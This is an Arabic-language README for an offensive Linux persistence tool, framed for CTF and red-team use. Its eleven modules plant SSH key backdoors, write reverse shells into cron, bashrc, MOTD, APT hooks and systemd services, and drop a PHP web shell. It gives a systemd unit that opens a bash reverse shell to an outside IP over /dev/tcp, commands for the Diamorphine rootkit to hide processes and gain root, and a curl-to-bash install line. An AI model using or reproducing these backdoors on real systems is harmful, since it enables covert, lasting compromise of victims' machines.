
أداة استمرارية لينكس مع 11 وحدة لإنشاء باب خلفي لمفاتيح SSH، والمهام المجدولة (cronjobs)، وخدمات systemd، وجذور خفية LKM، وتصعيد الامتيازات باستخدام LD_PRELOAD. مصممة لمسابقات CTF وعمليات الفريق الأحمر.

| الميزات | الوصف |
|---|---|
| توليد مفتاح SSH | يولد مفاتيح SSH تلقائياً للوصول الخفي. |
| استمرارية Cronjob | إعداد cronjobs لاستمرارية مجدولة. |
| مستخدم مخصص بصلاحيات الجذر | إنشاء مستخدم مخصص بصلاحيات الجذر. |
| استمرارية RCE | تحقيق الاستمرارية من خلال تنفيذ الأوامر عن بعد |
| LKM/Rootkit | يوضح استمرارية rootkit القائمة على وحدات Kernel لينكس (LKM). |
| استمرارية Bashrc | تعديل ملفات تهيئة shell الخاصة بالمستخدم للاستمرارية (الأسماء المستعارة / القشور العكسية). |
| خدمة Systemd للجذر | إعداد خدمة systemd لتحقيق استمرارية الجذر. |
| تكوين تصعيد الصلاحيات عبر LD_PRELOAD | تكوين LD_PRELOAD لتصعيد الصلاحيات. |
| باب خلفي لرسالة اليوم / الرأس | وضع باب خلفي لعرض رسالة النظام للوصول الخفي. |
| تعديل خدمة Systemd موجودة | التلاعب بخدمة systemd موجودة للاستمرارية. |
| باب خلفي لأمر APT | وضع باب خلفي لأمر apt لإظهار قوقعة. |
الوصول إلى الخادم باستخدام توليد مفتاح ssh. تنشئ هذه الوحدة مفتاح id_rsa لكل مستخدم. يمكن استخدامه للوصول العكسي. بعد تشغيل هذه الوحدة، يمكن للمهاجم الاتصال بالخادم عبر ssh.
يمكن القيام بذلك يدوياً باستخدام الأمر ssh-keygen. لكن الوحدة تنشئ مفتاحاً خاصاً لكل مستخدم في وقت قصير.
root@kali ~ ssh -i id_rsa [email protected]
1Cronjobs في لينكس هي مهام مجدولة تعمل تلقائياً على فترات محددة.
واحدة من أكثر الوحدات فاعلية، والتي تتضمن قشور عكسية. تكتب هذه الوحدة أوامر القشرة العكسية مباشرة إلى /etc/crontab. مما سيفتح قوقعة على المنفذ الذي تستمع عليه.
root@kali ~ nc -nvlp 9999
2ssh.root@kali ~ ssh [email protected]
3تأتي هذه الوحدة مع سكريبت php مستضاف في دليل جذر الويب. السكريبت موجود في /var/www/html/dynasty_rce/rce.php. علاوة على ذلك، يمكن إخفاء البادئة dynasty_rce إذا تم تشغيل وحدة LKM قبل ذلك.
زيارة victim_ip:port/dynasty_rce/rce.php ستمنحك القدرة على تشغيل الأوامر داخل القوقعة.
رقم الوحدة: 4
LKM مفتوح المصدر يسمى Diamorphine. الوحدة موجودة في /var/tmp/.memory كموقع مؤقت. يتم حذف هذا الدليل بعد إعداد الوحدة.victim@ubuntu ~ kill -64 0 # رفع الصلاحيات إلى الجذر.
victim@ubuntu ~ mkdir dynasty_persist # أي دليل يبدأ بـ dynasty سيتم إخفاؤه.
victim@ubuntu ~ kill -31 <process> # إخفاء العمليات
victim@ubuntu ~ lsmod | grep -i diamorphine # إخفاء نفسه
victim@ubuntu ~ kill -63 0 # جعله يظهر في ناتج lsmod
5find أو cat.root@kali ~ nc -nvlp 9999
6وحدة تنشئ خدمة مخصصة في systemd للوصول العكسي.
مثال:
Description=Dynasty Persist
[Service]
ExecStart=sudo bash /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/9999 0>&1'
Restart=always
RestartSec=30
[Install]
WantedBy=default.target"
سينشئ المثال أعلاه خدمة. هذه الطريقة فعالة ومتينة.
رقم الوحدة: 7
LD_PRELOAD هو متغير بيئة في لينكس يسمح للمستخدمين بتحميل مكتبة مشتركة قبل المكتبات الأخرى. يتضمن تصعيد الصلاحيات باستخدام LD_PRELOAD تحميل مكتبة خبيثة لاعتراض وتعديل استدعاءات النظام، مما قد يمنح صلاحيات مرتفعة. تقوم الوحدة بوضع باب خلفي لأوامر مثل find و wget.
رقم الوحدة: 8
"رسالة اليوم" (MOTD) في لينكس هي نص قابل للتخصيص يُعرض للمستخدمين عند تسجيل الدخول، لتقديم معلومات أو تحديثات حول النظام. عادةً ما تكون مخزنة في ملف /etc/motd ويمكن تعديلها من قبل مسؤولي النظام.
تكتب هذه الوحدة قوقعة إلى /etc/update-motd.d/00-header. يتم تشغيل هذا عادةً عند تسجيل دخول المستخدم.
رقم الوحدة: 9
على غرار الوحدة 7، تقوم هذه الوحدة بتعديل خدمة موجودة للوصول العكسي.
ببساطة، تعيد كتابة ExecStartPre في الخدمة إلى أمر قشرة عكسية.
رقم الوحدة: 10
"APT" تعني "أداة إدارة الحزم المتقدمة"، وتستخدم عادة في أنظمة دبيان مثل أوبونتو. سيكون الملف هنا: /etc/apt/apt.conf.d/42backdoor
تضع باباً خلفياً لأمر apt، كلما تم تشغيل apt ستظهر قوقعة.
رقم الوحدة: 11
حالياً، يتوفر وضعان في التحديث الأخير (1.4).
الأوضاع هي console و ctf وهي مصممة للعمل بسلوك معين.
بالمقارنة، يأتي وضع console بميزات واستقرار أكثر من وضع ctf.
وضع console يدخل الأداة في الإعدادات المعتادة، بجميع الميزات. سيتم تشغيل هذه الميزات محلياً على المضيف المحلي حيث يتم تنفيذ السكريبت. مصمم للاستمرارية في العمليات الفعلية.
سيتم استخدام البادئة use متبوعة برقم الوحدة لتشغيل أي وحدة محددة. مثل use 1
أيضاً، تم تحديث الواجهة، الوحدات/الحمولات أصبحت مرئية الآن عند كتابة show payloads.
أخيراً، تم تعديل قائمة المساعدة/الخيارات، أدخل show options لعرضها.
وضع ctf هو ميزة إضافية لتسجيل الدخول إلى خادم تم اختراقه عبر SSH وتحقيق الاستمرارية. ستساعد هذه الإضافة كثيراً في KoTH أو Battlegrounds. علاوة على ذلك، ستوفر الكثير من الوقت المستغرق في إعداد الاستمرارية.
يشغل معظم الوظائف الموجودة في console.
$ ./dynasty.sh <lhost> <lport> <mode>
$ ./dynasty.sh ctf
$ ./dynasty.sh 10.10.14.3 9999 console
عبر Git
$ git clone https://github.com/Trevohack/DynastyPersist
$ cd DynastyPersist/src
عبر Curl
$ curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash